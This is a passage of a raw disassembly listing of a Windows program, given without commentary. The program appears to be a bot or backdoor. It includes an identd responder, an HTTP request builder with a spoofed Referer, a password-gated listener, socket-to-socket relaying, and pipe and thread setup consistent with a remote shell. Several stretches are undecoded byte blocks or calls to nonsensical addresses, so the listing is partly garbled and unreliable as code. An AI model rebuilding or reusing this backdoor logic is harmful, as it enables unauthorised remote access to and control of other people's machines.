		test	eax, eax
		pop	ecx
		jbe	short loc_40E8F2


loc_40E8DC:				; CODE XREF: sub_40E8C9+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_40E8E6
		mov	byte ptr [esi+edi], 2Fh


loc_40E8E6:				; CODE XREF: sub_40E8C9+17j
		push	edi
		inc	esi
		call	sub_414BE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40E8DC


loc_40E8F2:				; CODE XREF: sub_40E8C9+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40E8C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E8F7	proc near		; CODE XREF: sub_403038+4340p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4452B8
		push	6
		push	1
		push	2
		call	dword_4453C8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_445348
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_402561
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4452F0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E9D4
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_40E970
		mov	eax, offset dword_4D63AC


loc_40E970:				; CODE XREF: sub_40E8F7+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_445398
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4187B0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_445360
		pop	esi


loc_40E9D4:				; CODE XREF: sub_40E8F7+6Bj
		push	ebx
		call	dword_4453E0
		call	dword_4452A0
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4171D0
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40EA14
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 14h


loc_40EA14:				; CODE XREF: sub_40E8F7+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_40E8F7	endp

; ---------------------------------------------------------------------------


loc_40EA18:				; DATA XREF: ___:00402BD1o
					; sub_403038+252Do
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_417070
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_445348
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4453C8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40EB79
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_44621C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_445374
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EB79
		push	5
		push	ebx
		call	dword_445370
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EB79
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_40EAA3:				; CODE XREF: ___:0040EB02j
					; ___:0040EB62j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4453DC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40EB74
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4453D4
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_44121C
		push	eax
		call	sub_4171D0
		lea	eax, [ebp-238h]
		push	eax
		call	sub_410557
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_445360
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAA3
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_411B48
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_417070
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_408B4C
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 34h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EAA3
		mov	dword ptr [ebp-8], 1
		jmp	loc_40EAA3
; ---------------------------------------------------------------------------


loc_40EB74:				; CODE XREF: ___:0040EAB8j
		cmp	[ebp-8], esi
		jnz	short loc_40EBA0


loc_40EB79:				; CODE XREF: ___:0040EA5Fj
					; ___:0040EA83j ...
		call	dword_4452DC
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_441260
		push	eax
		call	sub_4171D0
		lea	eax, [ebp-238h]
		push	eax
		call	sub_410557
		add	esp, 10h


loc_40EBA0:				; CODE XREF: ___:0040EB77j
		push	ebx
		call	dword_4453E0
		push	dword ptr [ebp-4]
		call	dword_4453E0
		push	dword ptr [ebp+8]
		call	sub_40916F
		pop	ecx
		push	esi
		call	near ptr 2700000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_40EBC3:				; DATA XREF: sub_403038+4D0Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_445348
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4453C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_40ED2F
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_44621C[ecx], eax
		call	dword_445258
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_445374
		test	eax, eax
		jnz	loc_40ED2F
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_445370
		test	eax, eax
		jnz	loc_40ED2F


loc_40EC73:				; CODE XREF: ___:0040EC89j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4453DC
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40EC73
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4453D4
		push	eax
		lea	eax, [ebp-350h]
		push	offset dword_44128C
		push	eax
		call	sub_4171D0
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_408E53
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_446214[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_40ED54
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 2291C0Bh, 69C44D8Bh,	234C9h,	89C63B00h, 44622481h, 39137400h
		dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 2281881h,	0E890EDEBh
		dd 2281BCFh, 12D46850h,	0A0E80044h, 59000018h
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_40ED32
; ---------------------------------------------------------------------------


loc_40ED2F:				; CODE XREF: ___:0040EC26j
					; ___:0040EC5Aj ...
		mov	edi, [ebp+8]


loc_40ED32:				; CODE XREF: ___:0040ED2Dj
		push	edi
		call	dword_4453E0
		push	dword ptr [ebp+8]
		call	dword_4453E0
		push	dword ptr [ebp-40h]
		call	sub_40916F
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi


loc_40ED54:				; DATA XREF: ___:0040ECE7o
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417E20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4453C8
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_40EF0A
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_445348
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_445388
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_40EDE4
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4453CC
		jmp	short loc_40EDF2
; ---------------------------------------------------------------------------


loc_40EDE4:				; CODE XREF: ___:0040EDD3j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_445300


loc_40EDF2:				; CODE XREF: ___:0040EDE2j
		cmp	eax, edi
		jz	loc_40EF0A
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4452F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EF0A
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4453D4
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_441310
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_408E53
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_44621C[ebx]
		mov	dword_446214[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_446220[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_40EF3B
		push	edi
		push	edi
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_446224[ecx], eax
		jz	short loc_40EEF7


loc_40EEA4:				; CODE XREF: ___:0040EEB1j
		cmp	[ebp-20h], edi
		jnz	short loc_40EEB3
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_40EEA4
; ---------------------------------------------------------------------------


loc_40EEB3:				; CODE XREF: ___:0040EEA7j
		mov	ebx, 1000h


loc_40EEB8:				; CODE XREF: ___:0040EEF3j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_445360
		cmp	eax, edi
		jle	short loc_40EF0A
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EEB8
		jmp	short loc_40EF0A
; ---------------------------------------------------------------------------


loc_40EEF7:				; CODE XREF: ___:0040EEA2j
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_441354
		call	sub_4105CB
		pop	ecx
		pop	ecx


loc_40EF0A:				; CODE XREF: ___:0040ED98j
					; ___:0040EDF4j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_44621C[eax]
		call	dword_4453E0
		push	dword ptr [ebp+8]
		call	dword_4453E0
		push	dword ptr [ebp-4]
		call	sub_40916F
		pop	ecx
		push	edi
		call	near ptr 2700000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_40EF3B:				; DATA XREF: ___:0040EE84o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417E20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_40EF72:				; CODE XREF: ___:0040EFB7j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_446220[esi]
		call	dword_445360
		test	eax, eax
		jle	short loc_40EFB9
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_44621C[esi]
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EF72


loc_40EFB9:				; CODE XREF: ___:0040EF9Cj
		push	dword_446220[esi]
		call	dword_4453E0
		push	dword ptr [ebp-14h]
		call	sub_40916F
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 2Ah, 10h
; ---------------------------------------------------------------------------
		das
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_44621C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_445330
		test	eax, eax
		jnz	short loc_40F05C
		push	dword ptr [esi]
		call	dword_4453E0
		push	dword ptr [ebp+8]
		call	sub_40916F
		pop	ecx
		push	edi
		call	near ptr 2700000h
		nop


loc_40F05C:				; CODE XREF: ___:0040F042j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_445360
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_40F1DD
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_40F1DD
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_40F1DD
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_44529C
		test	eax, eax
		jz	short loc_40F0D5
		call	dword_4452DC
		push	eax
		push	offset unk_441394
		call	sub_4105CB
		push	dword ptr [ebp+8]
		call	sub_40916F
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 2700000h


loc_40F0D5:				; CODE XREF: ___:0040F0B0j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_445300
		cmp	eax, edi
		jnz	short loc_40F0FF
		push	dword ptr [ebp-18h]
		call	dword_4453D4
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4171D0
		jmp	short loc_40F10D
; ---------------------------------------------------------------------------


loc_40F0FF:				; CODE XREF: ___:0040F0E5j
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4184C0


loc_40F10D:				; CODE XREF: ___:0040F0FDj
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_4D63C0
		push	dword ptr [esi]
		call	dword_445398
		cmp	dword_4D63B8, edi
		jnz	short loc_40F16F
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_40F237
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40F16F
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_445398
		push	dword ptr [esi]
		call	dword_4453E0
		push	dword ptr [ebp+8]
		call	sub_40916F
		pop	ecx
		push	edi
		nop
		call	near ptr 2700000h


loc_40F16F:				; CODE XREF: ___:0040F124j
					; ___:0040F145j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4413D4
		call	sub_4105CB
		push	dword ptr [ebp+8]
		call	sub_40F4EE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40F1B6
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_4413FC
		call	sub_4105CB
		push	dword ptr [ebp+8]
		call	sub_40916F
		add	esp, 0Ch
		push	ebx
		call	near ptr 2700000h
		nop


loc_40F1B6:				; CODE XREF: ___:0040F191j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_441428
		call	sub_4105CB
		push	dword ptr [ebp+8]
		call	sub_40916F
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2700000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F1DD	proc near		; CODE XREF: ___:0040F072p
					; ___:0040F07Fp ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_445360
		cmp	eax, 1
		jnz	short loc_40F22D
		mov	esi, [ebp+arg_4]


loc_40F1FB:				; CODE XREF: sub_40F1DD+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_40F222
		test	al, al
		jz	short loc_40F231
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_445360
		cmp	eax, 1
		jz	short loc_40F1FB
		jmp	short loc_40F22D
; ---------------------------------------------------------------------------


loc_40F222:				; CODE XREF: sub_40F1DD+27j
		push	offset unk_441454
		call	sub_4105CB
		pop	ecx


loc_40F22D:				; CODE XREF: sub_40F1DD+19j
					; sub_40F1DD+43j
		xor	eax, eax
		jmp	short loc_40F234
; ---------------------------------------------------------------------------


loc_40F231:				; CODE XREF: sub_40F1DD+2Bj
		push	1
		pop	eax


loc_40F234:				; CODE XREF: sub_40F1DD+52j
		pop	esi
		leave
		retn
sub_40F1DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F237	proc near		; CODE XREF: ___:0040F13Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F262
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_441480
		call	sub_4105CB
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40F262:				; CODE XREF: sub_40F237+11j
		push	1
		pop	eax
		retn
sub_40F237	endp

; ---------------------------------------------------------------------------
word_40F266	dw 8B55h		; DATA XREF: sub_403038+382Co
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4452B8h, 0C63BF633h, 68501D74h
		dd 4414F0h, 131EE8h, 0B475FF00h, 0FF9EBAE8h, 0CC483FFh
		dd 41E89057h, 57022F0Dh, 40F4E468h, 18D3E800h, 85900239h
		dd 0E82975C0h, 228161Bh, 1C685090h, 0E8004415h,	12EBh
		dd 15FF5959h, 4452A0h, 0E8B475FFh, 0FFFF9E7Fh, 0E8905759h
		dd 22F0D08h, 8D106A53h,	5056E045h, 7D6BE8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 4815FFB0h, 6A004453h,	26A5706h
		dd 0E2458966h, 0FFE47589h, 4453C815h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 44621C98h, 0E0458D00h
		dd 15FF5350h, 445374h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 445370h, 850FC085h, 103h, 44156068h,	0F045C700h, 0Ch
		dd 89F47589h, 0D4E8F875h, 59000011h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4453DC15h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 44532815h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 53D415FFh, 8D500044h, 0FFFBEC85h, 159C68FFh
		dd 0E8500044h, 7DE8h, 0FBEC858Dh, 0E850FFFFh, 1163h, 0EC858D57h
		dd 6AFFFFFBh, 50E85009h, 89FFFF9Ah, 0C069B845h,	234h, 83B44D8Bh
		dd 888924C4h, 446214h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 40EFD868h, 0F0458D00h, 0CCE85056h, 90022914h, 69B84D8Bh
		dd 234C9h, 89C63B00h, 44622481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 42E8326Ah, 90022811h, 0E890EDEBh, 228148Fh
		dd 15E06850h, 60E80044h, 59000011h, 8B03EB59h, 15FF087Dh
		dd 4452DCh, 0EC858D50h,	68FFFFFBh, 44161Ch, 7D46E850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 96E8FFFFh, 83FFFF1Fh
		dd 858D14C4h, 0FFFFFBECh, 1099E850h, 57590000h,	53E015FFh
		dd 0FF530044h, 4453E015h, 0A015FF00h, 0FF004452h, 94E8B475h
		dd 59FFFF9Ch, 0B1EE856h, 5B90022Fh, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F4EE	proc near		; CODE XREF: ___:0040F187p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_40F63F
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_44621C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4DD2E0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F811
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_40F559
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_441654
		call	sub_4105CB
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_40F593
; ---------------------------------------------------------------------------


loc_40F559:				; CODE XREF: sub_40F4EE+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F8C3
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_40F59A
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_44169C
		call	sub_4105CB
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26D0BAFh


loc_40F593:				; CODE XREF: sub_40F4EE+69j
		xor	eax, eax
		jmp	loc_40F63A
; ---------------------------------------------------------------------------


loc_40F59A:				; CODE XREF: sub_40F4EE+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 27A0E62h
		nop
		sub	eax, ebx
		jz	short loc_40F5F4
		dec	eax
		jz	short loc_40F5EE
		dec	eax
		jz	short loc_40F5DA
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_4416E4
		call	sub_4105CB
		pop	ecx
		pop	ecx
		jmp	short loc_40F609
; ---------------------------------------------------------------------------


loc_40F5DA:				; CODE XREF: sub_40F4EE+D5j
		mov	edi, dword_4DD30C
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_40F609
; ---------------------------------------------------------------------------


loc_40F5EE:				; CODE XREF: sub_40F4EE+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_40F5F8
; ---------------------------------------------------------------------------


loc_40F5F4:				; CODE XREF: sub_40F4EE+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_40F5F8:				; CODE XREF: sub_40F4EE+104j
		nop
		call	near ptr 26D0BAFh
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 27308F4h


loc_40F609:				; CODE XREF: sub_40F4EE+EAj
					; sub_40F4EE+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_4DD2BC
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4453E0
		push	esi
		call	sub_415820
		pop	ecx
		push	1
		pop	eax


loc_40F63A:				; CODE XREF: sub_40F4EE+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F4EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F63F	proc near		; CODE XREF: sub_40F4EE+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_414DB0
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_40F729
		mov	ebx, dword_4DD348
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_4DD2BC
		test	eax, eax
		jnz	short loc_40F6A2
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_441718
		jmp	short loc_40F6C2
; ---------------------------------------------------------------------------


loc_40F6A2:				; CODE XREF: sub_40F63F+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_40F6CA
		call	near ptr 26908EFh
		nop
		push	eax
		push	offset unk_441758


loc_40F6C2:				; CODE XREF: sub_40F63F+61j
		call	sub_4105CB
		pop	ecx
		jmp	short loc_40F6F8
